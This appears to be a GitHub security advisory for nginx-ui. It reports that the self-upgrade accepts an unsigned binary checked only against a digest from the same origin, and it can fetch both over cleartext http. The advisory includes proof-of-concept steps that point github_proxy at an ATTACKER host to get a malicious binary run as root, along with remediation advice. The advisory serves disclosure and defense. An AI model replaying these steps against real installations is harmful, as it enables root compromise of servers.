The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for
BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped
with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No
signature verification anywhere in internal/upgrader/.selfupdate.CommitBinary then replaces the running binary; the process restarts.settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
github_proxy; in scenarios A/B this is
instead a compromised mirror / MITM): POST /api/settings with
http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.GET /api/upgrade/perform, send {"channel":"stable"}.GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz
(over cleartext http)./tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary
replaced nginx-ui and EXECUTED AS ROOT.Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
cloud.nginxui.com
/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are
standard attacker capabilities, marked here as analysis.cloud.nginxui.com+GitHub
plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which
matters when the source is compromised or the transport is cleartext (http proxy).Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy
as a protected setting.
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.
{
"cwe_ids": [
"CWE-494"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T17:08:21Z",
"nvd_published_at": null,
"severity": "HIGH"
}